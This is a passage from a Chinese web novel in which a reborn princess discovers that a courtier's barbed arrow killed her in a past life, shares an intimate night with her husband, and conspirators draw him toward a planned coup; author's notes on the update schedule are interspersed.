但这个法子显然是行不通了。 难道重活一世,她依旧无法摆脱命运的桎梏,只能眼睁睁看着一切重演,却无能为力吗? 不,一定还有别的办法。 ***** 转眼便到了元旦。 皇宫之中照例举行了盛大的宫宴,辞旧迎新,共庆佳节。 经过一段时日调养,姒华欢的身子已然大好。虽比常人仍显纤弱,但面上已恢复了红润光泽,行动亦如常。 自那日姒华欢提出让谢昀辞官未果后,两人之间似乎陷入了一种微妙的僵持。 谢昀依旧忙碌,但尽量抽出时间与她待在一起,却绝口不再提兵部之事。 姒华欢也知道自己的要求过于无理,无法解释,便也不再提起。 按照旧历,元旦之夜,宫中有一项重要的祈福活动——登城楼,射天灯。 宫人会放出数百盏绘有吉祥图案的特制天灯,飘向夜空。再由皇帝指定的皇子或臣子,在城楼之上一箭射之。 据说若能一箭射中灯下的特定机关,使灯平稳落下,被城下百姓接住,那接灯之人未来一年便会好运连连。 而射中天灯的皇子或臣子,亦被视作能为朝廷带来祥瑞。 今年,皇帝特地点了三人参与射灯:太子姒华容,明安侯谢昀,以及刑部侍郎林珩。 众人皆无异议。 太子代表皇室,身份最尊。 谢昀是往年秋猎魁首,箭术精湛,又是新晋的兵部侍郎,左羽林军大将军,风头正盛。 而林珩虽为文官,却在秋猎中展现了惊人的箭术,取得今年魁首。 更重要的是,他之前救驾公主有功,又“大义灭亲”,揭发其妹林妙晴与长宁郡主合谋行刺公主,颇得圣心。 由他三人执箭,再合适不过。 宫宴结束后,帝后携皇室宗亲、文武重臣,一行人浩浩荡荡登上高高的城楼。 城楼下早已聚集了无数翘首以盼的京城百姓,人头攒动,热闹非凡。 数百盏承载着美好祝愿的明亮天灯,被内侍们同时点燃释放,如同点点繁星缓缓升空,将夜幕点缀得华光璀璨。 百姓们发出阵阵欢呼,仰着头,期盼着好运能降临到自己身上。 登城楼的石阶陡峭而漫长,姒华欢在魏紫的搀扶下,跟在谢昀身后缓缓而行。 行至途中,即将踏上城楼平台时,前方的林珩不知是因石阶湿滑,还是心中紧张,脚下忽然一个踉跄,身体微微晃了一下。 虽然他快速稳住身形,但跨在身侧的箭筒却因晃动滑落出一支羽箭,掉在石阶上,又顺势往下滚了几阶,恰好停在姒华欢的脚边。 姒华欢脚步微顿,目光落在脚边那只做工精良的羽箭上。 她纡尊降贵地微微弯腰,伸手将那支箭捡了起来,正欲递还给转过身来的林珩。 当她的视线落在那闪着寒光的箭头上时,姒华欢感觉浑身的血液都在这一刻凝固。 一股寒意从脚底直窜头顶,让她四肢百骸都僵硬得无法动弹。 这箭……她认得! 她到死都认得! 不是普通的箭头,那箭尖被特意打造成两个如同鹰爪般向内弯曲的小倒钩。 就是这支箭!前世,在混乱的宫门前,狠狠穿透了她的胸口。 她握着箭杆的手开始不受控制地颤抖起来,脸色在城楼火把的映照下,褪得一丝血色也无,比身上那件雪白的狐裘还要苍白。 林珩转过身,正好看到姒华欢捡起了他的箭,脸上露出一个带着歉意的笑容,伸手欲接,语气温和有礼:“劳烦公主殿下了,是臣不小心……” 姒华欢抬头,眼中是难以置信的惊骇,颤声道:“这……这是你的箭?” 林珩被她这有些反常的反应和惨白的脸色弄得一愣,有些不明所以,伸出的手停在半空,但还是保持着笑容点了点头。 “是臣的箭,方才不慎滑落,多谢公主殿下。”他伸手想将箭取回。 “你这箭头……”姒华欢死死攥着那支箭,没有松手,“倒是特殊。” 林珩顺着她的目光看向她手中的箭,注意到那特制的倒钩,脸上露出一丝恍然,笑着解释:“殿下慧眼,这箭是一位精通机关器械的好友为臣改制的,臣也是第一次拿来试用,让殿下见笑了。” 姒华欢终于明白了。 为什么她会梦到前世的林珩,为什么梦里的他被谢昀那样对待。 原来杀她的人,根本不是她一直怀疑、怨恨的谢昀,而是林珩! 这个看似温文尔雅,甚至她觉得有些软弱的林家大公子,这个在她遇险时及时出现相救的人! 林珩隐藏在温和表面下的獠牙,直到此刻,才因为意外的纰漏,被她窥见一斑。 为什么?为什么林珩要杀她? 前世的她与林珩并无交集。 突然的冲击让她眼前阵阵发黑,几乎要站不稳。 看着林珩那张依旧带着温和笑意的脸,姒华欢只觉得无比陌生,无比恐怖。 那笑容的背后,究竟隐藏着怎样的阴谋? 谢昀转身,察觉到姒华欢的异常,退了几步,扶住她摇摇欲坠的身子,担忧地低声问:“你怎么了?可是身子不适?” 城楼上的风带着冬夜的凛冽,吹在了姒华欢脸上,和她的心一样寒冷。 姒华欢猛然回神,意识到自己正身处万众瞩目的城楼,身后还跟着文武百官,城楼下无数百姓都在看着。 她不能在此刻失态,也不能打草惊蛇。 她深吸一口冰冷的空气,强稳心神,将箭递还给林珩,侧过头对谢昀道:“没事,只是站得久了,有些头晕,扶着我些。” 谢昀没有多问,伸手稳稳扶住她的手臂。 登上城楼,皇帝兴致勃勃地说着什么,姒华欢心思全无,目光紧盯晋王的背影。 既然她的梦与她的死有关,也就是说,她的死,与晋皇叔也有关系。 第83章 “怎么?你不想吗?”…… 从城楼到明安侯府的路上, 姒华欢想了很多。她努力将前世最后的几个月在脑中回忆了一番。 她忽然记起,有一天起,谢昀再见她时, 脸上便少了那副嬉皮笑脸的模样, 全是漠然。 他们三天一小吵,五天一大闹, 早就习惯了互相甩脸子。 所以她当时并未在意, 只骂了他一句“驴脾气”, 便转身走了。 自那之后, 她便鲜少见到谢昀在她眼前晃悠讨骂。偶尔在宫道上遇见,他也是行色匆匆。 她不是没好奇过。她曾问过姒华容谢昀在忙什么,姒华容说是他身居要职, 转入了兵部,便忙了起来。 她只“哦”了一声, 再未关心过。 后来再听到谢昀的名字, 便是他“谋反”的消息。 如今想来, 那时必是发生了什么大事,大到让谢昀突然转了性子。 这一世谢昀调任兵部之事提前,也就是说,这件“大事”, 现在应该也发生了。 马车在明安侯府门前停下。 谢昀先下车,而后习惯性地伸手, 欲扶姒华欢下来。 姒华欢扶着他的手, 踩着小杌子落地,对谢昀说:“你来我房里一下。” 谢昀微微讶然。 这话说得突兀,甚至有些不合时宜的直白。 若是往常,听她这般主动相邀, 他少不得要凑近了戏谑几句。 可此刻,看着她有些苍白的面色,他心中那点玩笑的心思都偃旗息鼓。 宫宴上她还好好的,不知为何,在射天灯后,她就变得异常沉默,面色凝重。 从城楼下来,一直到回府的路上,她都未曾开口说过一句话。 “好。”谢昀没有再次多问,只是点了点头,跟在她身后一同走向主院。 两人一路无言,穿过庭院回廊,走进主院寝室。 魏紫和姚黄识趣地没有跟进来,只在屋外轻轻掩上了门,并示意其他侍从远离。 姒华欢走到桌旁背对着他,良久,她才缓缓转过身,直直看向谢昀:“谢昀,你有没有什么事瞒着我?” 谢昀心头一跳。 她是察觉到什么了?还是……有人在背后跟她说了什么? 他眸光微闪,面上却不动声色,故作轻松道:“怎么突然问这个?我每日忙于公务,所见所闻繁杂,若事事都说与你听,只怕你嫌我聒噪。” “我不是指公务。”姒华欢上前一步,逼近他,“我是指关于你的事。关于你调任兵部,关于你最近在忙什么,有没有瞒着我的?” 她脸上带着淡淡的执拗,一副非要在此刻刨根问底的模样。 谢昀沉默了片刻,反问道:“那你呢?你就没有事情瞒着我吗?” 姒华欢被他问得一噎。 她知道的太多,却一件都不能说。 两人就这样静静对峙着,烛光在彼此眼中跳跃,映照出对方眼中复杂难言的情绪,但照不透两人无法言说的秘密。 姒华欢看着眼前的谢昀,透过他的眼睛,看到了前世那个了无生气的谢昀。 一瞬间前世的种种怀疑、怨恨,与今生相处的点滴,如同走马灯般在脑海中飞速闪过。 她意识到,无论前世真相如何,无论他此刻隐瞒了什么。在这个危机四伏,豺狼环伺的当下,眼前这个男人,是唯一一个她会下意识依赖的人。 她忽然不想再问了,也不想再争辩了。语言是何等苍白无力,充满了误解和隐瞒。 她踮起脚尖,仰起头,将自己的唇印上了谢昀的薄唇。 这个吻来得突然而纯粹,不带任何技巧,有些笨拙地只是紧紧贴着,传递她心中难以言喻的复杂情愫。 谢昀被她突如其来的主动亲吻惊到,微微睁大了眼睛。 他完全没想到在这样紧张对峙的气氛下,她会突然做出如此举动。 但是他没有推开她,也没有立刻反客为主,只是任由她生涩地贴着,感受着她唇瓣的微凉。 谢昀在心中无奈地轻叹了口气。 她每次理亏都要用这个方式堵住他的嘴吗。 这怎么办,他很受用。 片刻后,他才缓缓抬手,轻轻扣住她的后脑勺,另一只手环住她纤细的腰肢,将她按入怀中。 他低下头,开始温柔地回应这个吻。 不同于她单纯的贴上,他的吻带着引导的意味,先是轻轻吮吸她的唇瓣,再用舌尖仔细描摹她的唇型,耐心地诱哄她开启齿关。 唇齿间温热的气息交融,逐渐驱散了姒华欢身上和心头的寒意。 一吻渐歇,两人额头相抵,呼吸都有些急促。 谢昀思考一瞬,一把搂住姒华欢的腰,单手将她往上一揽,让她坐在了圆桌上。 他站在她的腿间,微微仰头看她。 “公主殿下深夜相邀,又主动献吻,这是……邀请我一起守岁吗?” 他的语气恢复了往日的几分戏谑,但眼神却温柔地能将人溺死。 今夜是元旦,正是守岁之夜。 姒华欢垂下水润的眸子,抬手,用指尖从他的下颌滑到他的喉结上,轻轻在上面打着转。 “怎么?你不想吗?” 这三个字轻飘飘的,却瞬间点燃了谢昀眼底暗压的火星。 他眸色加深,手臂收紧,将她牢牢锁在怀中,偏头在她颈边留下一串淡红色的痕迹,在她耳边呵着热气:“想,当然想。” 他的吻一路向下,修长的手指灵活地挑开细长的衣带,他的吻流连在光洁的皮肤上,留下清凉的触感。 姒华欢被他弄得有些眩晕,起初并未抗拒,到后来实在有些受不住,扭着腰往后躲,却因为谢昀扣在大腿上的双手紧紧定住。 她无助地伸手去阻拦谢昀的动作,却只能五指拢入他浓密的发间,颤着声让他抬起头。 有了前两次的经验,谢昀已经大概知道她能受到什么程度,在最后一刻到来前才抬起了头。 从高耸的云团中瞬间跌落,姒华欢失焦的双眼重新聚焦,盯着谢昀,略带哭腔地控诉:“你……” 谢昀舔了舔嘴角的晶莹,笑着问她:“我怎么了?你不是让我抬头吗?” 他站在原地,没有下一个动作,全然一副乖得不能再乖的样子。 姒华欢被他气得浑身颤抖,眼角湿润,浑身无力地用手肘软绵绵撑着桌子起来骂他:“你……你故意的!” “我故意什么了?”谢昀歪了歪头,故作疑惑道。 “……” 姒华欢死死咬住下唇。 她实在说不出口。 谢昀凑近她,在她脸颊上亲了亲,哄道:“说出来。” 姒华欢转过头,闭上眼睛,吸了吸鼻子,嗫嚅道:“你就是故意……不给我……” “躲什么?看着我,好好说。” 姒华欢觉得这家伙实在是欺人太甚,这种话为什么一定要说出口,就是故意折磨她,亏得她还觉得自己亏待他来着。 对比之下,她的良心已经比天大了。 姒华欢转回头,低头,在谢昀肩上用尽全身的力气咬了一口,“你故意不给我……” “怎么这么乖。”谢昀被咬了也不急,笑得眯起眼,低头吻她,“全都给你,好不好?” …… 此起彼落了不知道多少回,姒华欢后悔了。 不好,一点也不好。 她根本吃不下这么多。 泡到浴桶中,姒华欢靠着身后的人肉靠垫,有气无力地说:“你最近,是不是很累?” 这话落在一个男人耳朵里无异于挑衅。 谢昀闻言挑了挑眉,手滑上她的腰侧,在她肩头轻咬了一下,“我明白了。” 腰后有又了站起来的迹象,姒华欢醒了几分神,顶着泛红晕的脸颊嗔道:“你明白什么了你明白……” “明白你欲.求不满。”谢昀吻她的后背。 姒华欢好不容易想说点好话,温馨的气氛就被谢昀打破了。 她闭了闭眼,反手抚上他的脸颊,转过头凑上去,主动吻了吻他的唇角。 “我是想跟你说,以后……别什么都自己扛着,我也可以……” 她未尽的话语被谢昀以吻封缄。 这个吻温柔、缠绵,带着无比的珍视,仿佛在对待稀世珍宝。 水波轻晃,不断有水从浴桶中跳出,沿着缝隙蜿蜒流去。 天色渐亮,姒华欢已沉沉睡去。 她睡得很沉,长而密的睫毛在眼睑下透出浅浅的阴影,鼻息轻缓均匀,唇瓣微肿,还残留着几分旖旎的嫣红。 谢昀侧卧在她旁边,并未入睡。 他一只手撑着额角,另一只手有一下没一下地轻柔抚摸着姒华欢的如瀑青丝,目光久久流连在她恬静的睡颜上。 掌心下是她温软细腻的皮肤,耳边是她平稳清浅的呼吸,鼻尖萦绕的全是属于她的气息。 这一切都让他恍然若梦。 快了……再等等。 他会很快解决所有的事。 在她察觉前,在她再次受到伤害之前,将所有的威胁连根拔起。 她生来便是金枝玉叶的康乐公主,合该被捧在掌心,享尽世间一切尊荣和美好。任何的烦恼与危险,都不该沾染她分毫。 指尖无意识地缠绕着她一缕柔软的发丝,谢昀低下头,在她光洁的额头上落下一个羽毛般的轻吻,不带任何情欲。 十二年前的冬天后,偌大的侯府只剩下他孤零零的一个人后,他便再未觉得这个日子有何值得期盼,“团圆”、“喜庆”这些词似乎早已与他绝缘。 直到今夜。 直到此刻。 他想,这大概是他自八岁后,过得最好的一个除夕夜了。 愿新年,胜旧年—— 作者有话说:这个月中差不多就能完结啦[撒花] 第84章 “臣自当服侍到公主殿下…… 清晨, 姒华欢迷迷糊糊地睁开眼,下意识想翻身,却不小心牵动了某处, 整个人瞬间清醒了大半。 昨夜的荒唐记忆如同潮水般涌回脑海, 让她脸颊顿时热了起来。 浑身上下又酸又胀,使不上半分力气。姒华欢慢吞吞用手臂撑着坐起身, 每动一下都忍不住在心里把某个不知节制的男人骂上十遍八遍。 三次四次还是五次来着……? 她到后来根本记不清了。 她蹭到床边, 双脚落地, 刚想站起来, 双腿却不受控制地一软,险些跪倒在地。她慌忙扶住一旁的床柱,才勉强稳住身形。 罪魁祸首正好端着温水进来, 看到她这副扶着床柱,双腿微颤, 咬牙切齿的模样, 先是愣了一下, 随即唇角控制不住地向上扬起,连带着眉梢都染上几分餍足后的愉悦。 他走上前,将水盆放在架子上,目光在她扶着腰, 颤巍巍站不稳的身子上打了个转,“醒了?” 姒华欢听见他的声音, 又看到他脸上那抹碍眼的笑容, 简直气不打一处来,狠狠瞪他一眼,想把脸转开,却因为动作太大, 又扯到了酸痛的腰,疼得“嘶”了一声,更加恼火。 她咬着后槽牙,从齿缝里挤出几个字:“好、得、很。” 谢昀低低笑出声,走上前,不顾她的轻微挣扎,伸手揽住她的腰,将她半扶半抱到床边坐下。 “真的?” 姒华欢越想越气,锤他:“谢昀,你有劲儿没处使是吧。” “我没使对地方吗?”谢昀蹲下身,笑吟吟仰视她,“那你教教我,该往哪儿使才对?” 他将帕子丢进水盆中,作势要解衣服:“既然公主殿下不满意,臣自当服侍到公主殿下满意为止。” 见他解开了一颗扣子,真的倾身下来,姒华欢赶紧身子往后一仰,抬脚顶住他的肩膀,“谢昀!” 青天白日的,他倒是一点也不害臊! 更令她没想到的是,谢昀握着她的脚腕,然后亲了一下。 姒华欢被惊得来不及收回脚,便被谢昀抓着脚踝,往他的方向一扯,将她扯到他面前。 谢昀眼中的笑意藏不住,拿起温热的帕子亲自替她擦脸。 微烫的帕子敷在脸上,带来一阵暖意,很舒服,盖住了她的羞窘,也稍稍缓解了心头的火气。 姒华欢“哼”了一声,到底没再推开他,任由他伺候着。 用过早膳,谢昀照例要去书房处理一些公务。姒华欢借着要去他书房找几本书看的由头,一起跟了进去。 谢昀坐在桌案前看着什么,姒华欢从他身后无数次“不经意”地晃过,发现他只是在看一些兵部的折子,并无怪异之处。 “你什么时候对我的公务这般感兴趣了?” 在姒华欢第二十次从他身后再次慢悠悠晃过时,谢昀忍不住开口。 他把一摞折子堆到左手边,“眼睛不累吗?大大方方地看吧。” 见他如此坦荡,姒华欢倒没了看的兴致,撇撇嘴:“谁要看了。” 她走到靠墙的多宝阁旁,从青瓷大画缸里面随手抽出一个画轴。她刚抽出,便听到“当啷”一声,是铁器与瓷器相碰的声音。 姒华欢看向画缸,这才发现里面除了几卷略显陈旧的画卷,还突兀地插着两支箭。 箭杆乌黑,尾羽整齐,一看便不是凡品。 谁会往画缸里插箭?不愧是武将世家,这习惯也真是…… 姒华欢伸手去拨弄末端的箭羽,随口问道:“你这画缸里怎么还插着两支箭,当装饰吗?怪难看的。” 谢昀闻言,目光也随之落向画缸。当看清她手指拨弄的东西时,抬了抬眉。 那是…… 他脸色微变,立刻站起身:“等等,那……” 然而已经晚了。 姒华欢已顺手将两支混在画轴中的箭抽了出来。 她本是随意看看,就当她的视线落在箭头上时,姒华欢整个人如同被雷击中,瞬间僵在原地。 这箭头下面的两个尖端都带着细小、向内弯曲的倒钩,与昨夜城楼上,从林珩箭筒中掉落,被她亲手捡起过的那支箭,一模一样! 是林珩的箭,怎么会在这里? 她以为她的死与谢昀没有关系了。 “这箭……是从哪儿来的?”她颤声问道。 谢昀看着她骤然苍白的面色和眼中的震惊,心知不妙。 他快步走到她身边,握住她冰凉颤抖的手,沉声问道:“怎么了?这箭有什么问题?你认得这箭?” 这是神秘人给他送信时钉入廊柱所用之箭,姒华欢怎么会认识,还反应如此之大? 姒华欢深吸一口气,让自己冷静下来。 她感到庆幸。还好谢昀不知道,那便真的与他无关。 “昨夜登城楼,射天灯前,林珩的箭筒里掉出一支箭,我捡了起来,就是这种箭,带着倒钩。林珩亲口说,这是他一位精通兵械的好友特意为他设计打造的,他还是第一次用。” 这样特别的箭,她绝不会认错。 制此箭之人,极其阴毒。两个小小的倒钩,让箭射入身体后难以拔出,只要中此箭者,几乎是必死的结局。 谢昀听完脸色也沉了下去。 那伙人竟与林珩有关。 他早就看林珩不顺眼。看似温文尔雅,甚至救过姒华欢,近日在皇帝面前颇有脸面,谁也不知道,他竟然藏着如此祸心。 既然林珩敢在射天灯时用这特制的箭,说明他并不知道这箭已被用来送信,不然此举无异于自投罗网。 那这箭便不是林珩所制,隐藏在更深处的“主公”,也不会是他。 谢昀心中涌起一阵后怕,收紧握着姒华欢的手,说道:“听我说,从现在开始,离林珩远一点,尽量不要与他有任何接触,知道吗?” 姒华欢忙不迭点头,她现在对林珩只有深深的恐惧与恨意,唯恐避之不及。 但她又想起关键问题,追问道:“你还没告诉我,这箭你到底是从哪儿弄来的?” 谢昀知道必须给她一个交代,但又不能说出全部的真相吓到她,于是随口编了一个听起来合理的理由: “前几日,兵部清查一批旧库军械时发现的。这箭头形制奇特,我便带了回来。本想查查出处,一时忙忘了,顺手插在了那里。” 谢昀尽量让自己的语气显得轻松平常:“此事我会继续追查,你不用担心。” 这个解释听起来合情合理,姒华欢虽然心中仍有疑虑,但见他神色镇定,便也暂且信了几分。 她心有余悸地叮嘱:“那你一定要小心,林珩他……绝对不简单。” 她的话只能说到这了。 谢昀从姒华欢手中小心地取回箭,丢入画缸中。 “我知道。”谢昀将她轻轻拥入怀中,拍了拍她的背,安抚道,“你只需要记住远离他,保护好自己。” 将姒华欢送回房休息后,谢昀回到书房,找来杜风,吩咐道:“给我盯住林珩,他每日见过什么人,去过什么地方,说过什么话,我都要知道。” “注意,务必隐蔽,绝不能打草惊蛇。” “属下明白!”杜风领命而去。 ***** 这日下值后,林珩并未直接回府,而是借着暮色穿街过巷,绕了几个圈子,最终来到西市一家酒楼后门。 他警惕地观察了四周,确认无人尾随,才快速闪身进入。 后院颇为僻静,与前面堂食的喧闹隔绝开来,只栽种着几株半枯的竹子,显得有几分冷清。 一张石桌旁,一个穿着褐色布袍的青年男子坐在轮椅上,正闭目养神。 听到脚步声,桑进睁开眼,眼神阴郁,没有什么光彩,只是淡淡地扫了林珩一眼:“来了。” 林珩快步走到他面前,压低声音,直接问道:“最近可有什么异常?明安侯那边有什么动静?” “异常?明安侯近日可是安静得很,自打他把康乐公主院子里里外外的人全换了个干净,咱们之前费心插进去的几颗钉子全被拔了,连点声响都没听见。” “如今他那侯府和公主的院子,针插不进,水泼不进。想知道他的动作,难。” 他顿了顿,阴冷的眼神看向林珩:“怎么?你察觉到了什么?” 林珩眉头紧锁:“说不上来,总觉得哪里不对劲,但又……” 话还没说完,桑进却突然脸色一变。 他虽不良于行,但他自幼习武,耳目之灵敏远超常人。 他抬头,鹰隼般的目光直刺向后院角落,厉声喝道:“谁在那里?出来!” 林珩心中一惊,立刻循声望去,浑身都绷紧了。 可墙角静悄悄的,只有枯竹的叶子在微风中发出细微的沙沙声,不见任何人影,也无人应答。 桑进死死盯着那处,脸色变得极其难看,他转回头,看向林珩的眼神充满了愤怒和鄙夷,咬牙切齿地压低声音骂道:“废物!你带了尾巴进来都不知道!” “不对劲?还用觉得吗?你被人盯上了!” 林珩被他骂得脸色一白,随即也涌上一股怒意。他自认已经足够小心,绕了那么多路,怎么还会被人跟踪? 而且悄无声息,连桑进也只是凭借一丝极其细微的动静才惊觉,却连人影都没看到。 “你是不是太敏.感了,我一路反复确认过,无人跟踪。” “无人跟踪?”桑进嗤笑一声,“那刚才是我耳朵聋了?林珩,我早就说过,你那些温良恭俭让的把戏,对付朝堂上那些老狐狸或许有用,在这种刀口舔血的事情上,屁用没有!一点警觉性都没有,是怎么活到现在的!” “桑进!”林珩被他连番嘲讽指责也动了真怒,温文尔雅的面具出现裂痕,眼神冷了下来,“注意你的言辞!若非我周旋打点,你以为你能安稳坐在这里?别忘了,你现在还能有点用处,是靠谁!” “我们是一根绳上的蚂蚱,我出了什么事,你以为你能脱得了干系?林珩,我告诉你,要是因为你的疏忽,坏了主公的大事,你有几个脑袋够砍?” 两人怒目而视,后院的气氛剑拔弩张。 “吵什么吵!”一道低沉的声音从后门处传来。 王远皱着眉头,不满地扫了一眼争执的两人,“主公要见你们,跟我走。” 林珩和桑进同时神色微变,两人对视一眼,都从对方眼中看到了藏在眼里的不安。 主公突然召见,还是在他们可能已经暴露行踪的节骨眼上。 是有了新的计划,还是兴师问罪? 他们不敢有丝毫违逆,桑进操纵轮椅,林珩紧随其后,跟着王远迅速离开了这处已然不再安全的后院。 就在他们离开后不久,方才桑进紧盯的那处墙角,一片枯叶极轻微地动了一下,像是有风吹过,又像是有什么东西刚悄然离去—— 作者有话说:正文里不会怀孕,怀孕会放在番外,这里就由我这个作者加个金手指让他们暂时不会怀,小情侣好好做吧~ (注!三次元没有金手指,记得用套套) And这段时间工作压力实在是太大了,回家连上吊的力气都没有了,最近要完结,大纲还没捋通,有些卡文 尽量在11点发,不能的话就是在码字0点1点发,大家可以早上再来~[玫瑰] 第85章 “可我觉得,你就是担心…… 姒华欢正坐在镜前, 由着魏紫为她梳理长发,一阵脚步声匆匆临近,便听见姚黄略带兴奋的声音。 “公主殿下真是神了!殿下昨日让我打听万年县那边的事, 有消息了。” 姒华欢从铜镜中看向姚黄:“怎么说?” 姚黄凑近些, 声音掩不住惊奇:“万年县往西,靠近骊山那片, 近来确实不太平。说是有一伙流寇, 人数不多, 但挺凶狠, 专挑偏僻的村落和小道劫掠,已经有好几个村子遭了殃。” “只是闹得不算大,消息被压着, 还没传到京城里来。我也是恰巧找到一个从那边逃难过来的货郎打听来的。” 姒华欢深吸一口气。 果然提前了。 流寇开始作乱,那么谢昀奉旨前去剿匪的日子, 就快到了。 那一日……也快到了。 她必须阻止谢昀前去剿匪。 “知道了, 此事先不要对外人提起。” 姚黄连忙应下。 算算时间, 谢昀该下早朝回来了。姒华欢梳好头发,便径直去了谢昀的书房。 谢昀刚换下朝服到书房,伴随着一阵脚步声,书房门未经禀报便被推开, 一见是姒华欢,他眉宇舒展开。 “怎么过来了?腰不酸了?”他如常调侃道。 姒华欢没心思跟他斗嘴, 开门见山:“万年县有流寇作乱, 你可知道?” 谢昀挑眉:“你从何处听来的?” 今日早朝,万年县并未上报此类匪患。 “姚黄今早出门,碰巧遇到了逃难来的百姓。”姒华欢上前几步,拉着他的衣袖, “谢昀,若朝廷要派人剿匪,你不要去。” 谢昀眸中闪过一丝疑惑。 京城内外,他的眼线不敢说无所不知,但若有流寇,能闹到百姓逃难至京城的地步,他不可能毫无耳闻,兵部也不会毫无消息。 会不会是遇到了随口胡说之人? “剿匪之事,自有地方府兵处置,即便事态严重,需要支援,也通常是由京城的武将带兵前往。我担的是左羽林军大将军之职,掌宫禁宿卫,除非陛下特旨,怎么会跑到万年县去剿匪?” “我就是觉得流寇凶残,万一,万一真需要羽林军出动呢。”姒华欢咬咬唇,“总之你别去就是了。” “怎么?担心我?还是舍不得我走?”谢昀低下头,视线与她齐平,眼中带笑。 他靠得有些近,温热的气息拂过她的额发,姒华欢有些不自在地别开脸:“谁担心你了……刀剑无眼,流寇又多是亡命之徒……伤了百姓就不好了。” 谢昀笑意更深:“那么多武将,剿匪怎么也轮不到我。你这样子,倒像是明日流寇就要打进京城来了。” 姒华欢撇撇嘴:“我就是随口一说,你爱去不去。” “哦?随口一说?”谢昀低笑,伸手揽住她的腰,将她往自己怀里带了带,“可我觉得,你就是担心我。” “谢昀,你放开,说正事呢。”姒华欢推他,力道却不大。 谢昀注视她良久,微微正色道:“好,我不去。” 姒华欢看着他。 她已经尽力了,应该能有所改变吧。 ***** 午后,姒华欢收到了叶殊宜的帖子,要她聚仙楼一聚,她这才恍然,原来快到上元节了。 前世,就是在这一年的上元节后,叶殊宜逃婚了。 姒华欢来到聚仙楼,上了二楼的雅间,推门进去,便闻到一股清冽的酒香。 叶殊宜已经在了。她穿着一身利落的骑装,头发高高束成马尾,未戴太多首饰,正独自倚窗坐着,手里拿着一只酒杯,望着楼下街景出神。 听到动静,叶殊宜转过头,平时总是亮晶晶的眼睛此刻却笼罩着一层愁绪,眉头微拧,嘴角也向下撇着。 “你可算来了。”叶殊宜叹了口气。 “我爹给我定了门亲事。”她将杯中酒一饮而尽,辛辣的滋味让她眯了眯眼,“是工部尚书家那个嫡次子,叫周文斌的。” “周文斌?” 姒华欢前世对这人印象不深,只依稀记得他文不成武不就,靠着父亲荫蔽,在工部挂了个闲职,似乎性子有些懦弱,又颇有些自命不凡。 “对,就是他!”叶殊宜提起这人就一脸嫌弃,“你都不知道那人什么样!之前远远见过一回,瘦得像竹竿,说话眼神飘忽,一点底气都没有。自己没什么本事,偏又觉得谁都该让着他。我最看不上这种没骨气,又自以为是的男人。” “我叶殊宜要是嫁了他,不如一头撞死。去他的门当户对!” 她越说越气闷,连喝了好几杯,脸颊泛起红晕。 姒华欢静静听着。 前世叶殊宜也是这般抱怨,而后在上元节混入她兄长的军中,去了边关。 “殊宜,”姒华欢按住她又去拿酒壶的手,“你哥哥是不是要去戍边了?” 叶殊宜愣了一下,点点头:“嗯,过了上元节,朝廷新的调令就该下了,我哥还得回北边去戍守,怎么了?” 哥哥是军中年轻将领,常年驻守边关。 “你跑吧。”姒华欢沉吟片刻,说道。 “什么?”叶殊宜一时没反应过来。 姒华欢道:“混在你哥哥的随行军队中,跟他去边关。” 京城可能要变天了,这里不会太平,她去边关反倒更安全。 叶殊宜睁大眼睛,先是震惊,随即眼底点燃亮光。 “对呀,我可以跑,我怎么没想到!” 她脸上的愁云瞬间散了大半,取而代之的是雀跃。 她一直想像她哥、她父亲、她祖父一样去边关上阵杀敌。她才不要困在四方宅院里,嫁给一个她看不上的男人,一辈子窝窝囊囊就这样过去了。 她也可以凭自己的本事挣功名,也能像她自幼崇拜的云徽将军那样,做个受百姓爱戴的女将军! “谢谢你,华欢。这些日子我只知发愁,却忘了还有这条路可走。我去了边关,天高皇帝远,周家还能追去不成?等过几年,周家必定会主动退婚。京城又不是没有其他高门贵女了,他们不可能等我一辈子。” 叶殊宜抓着姒华欢的手,眼中已有泪光:“只是我这一去,不知何时能再见,你要保重。” “你也是。”姒华欢鼻尖发酸,“北疆苦寒,仍有战事,你要万事小心。若实在坚持不住,你就去找你哥哥坦白,他最疼你。” 叶殊宜重重点头。 ***** 谢昀又经过几次神秘人的考验,彻底获得了他们的信任,共议“大计”。 这日,他又收到了一个没有任何署名的素白信封,如约来到上次那家酒楼。 也是林珩和桑进碰面的那家酒楼。 上次那位“李先生”已经坐在了主位,见他来了,抬了抬手示意他坐。 “明安侯果然守时。”李先生先开了口。 “何事?直言便是。”谢昀不想跟他弯弯绕绕。 李先生提起桌上茶壶,为他斟了杯茶,“近日听闻,万年县骊山贼匪作乱,气焰颇为嚣张。地方府兵不堪用,恐需京营精锐出动,方可平定。” 谢昀握着茶杯的手指收紧了一瞬。 竟真被姒华欢言中。 谢昀抬眼看向他:“李先生消息倒是灵通,朝廷都未收到加急密报,阁下便已知晓。” 李先生喝了口茶,“朝廷不日必将派兵清剿,侯爷何不主动请缨,调集麾下精锐,揽下这份功劳?” “剿匪是地方府兵或京营职责,我羽林军……” “事在人为。”李先生打断他,“只要侯爷想,自然有办法让陛下点将。况且剿匪是假,出城是真。” 谢昀用指尖轻敲桌子,“出城,然后呢?” “侯爷只需带可调动的谢家军和羽林军出城,在约定地点等候,届时自会有人给你信号。信号一起,侯爷便可率兵回返,与我等里应外合,封死京城九门。” 纵然早有猜测,但亲耳听到这赤裸裸的谋逆之言,谢昀眸光微闪。 “你们要……逼宫?”—— 作者有话说:补更上周五的~ 第86章 看来他对康乐公主,怕是…… 李先生迎着他的目光, 并无惧色,“逼宫?明安侯言重了,我们只是要拿回本该属于我们的东西, 清算一些旧账。” “难道明安侯忘了, 骠骑大将军与云徽将军是为谁效忠,又是被谁辜负?难道这些年皇帝给的一些恩宠, 一个侯爵之位, 就能让侯爷忘了这血海深仇?” 又拿他的父母做挡箭牌。 一股心火窜上, 烧得谢昀太阳穴突突直跳。 若非要揪出幕后操纵之人, 他早就将这群人捉了。 “杀几个边将,宰几个文官,算什么报仇?唯有此举改天换日, 才算真正告慰英灵!待事成之后,我必不会亏待功臣。加官进爵, 封侯拜相, 岂不远胜如今这束手束脚, 还要看人眼色的小小侍郎?” 炭盆里的火苗跳动着,在李先生脸上投下晃动的阴影,他此刻的神情显得格外狂热而扭曲。 谢昀沉默了许久,久到李先生有些急躁, 他才缓缓抬起头。 “你的提议很大胆,也很诱人。” 李先生眼中闪过一丝得意之色。 “但是, ”谢昀身体微微后靠, 靠在椅背上,“如此大事,李先生,你能做主吗?” 李先生愣了一下, 眉头微蹙:“侯爷此言何意?我既与你谈,自然能做主。” 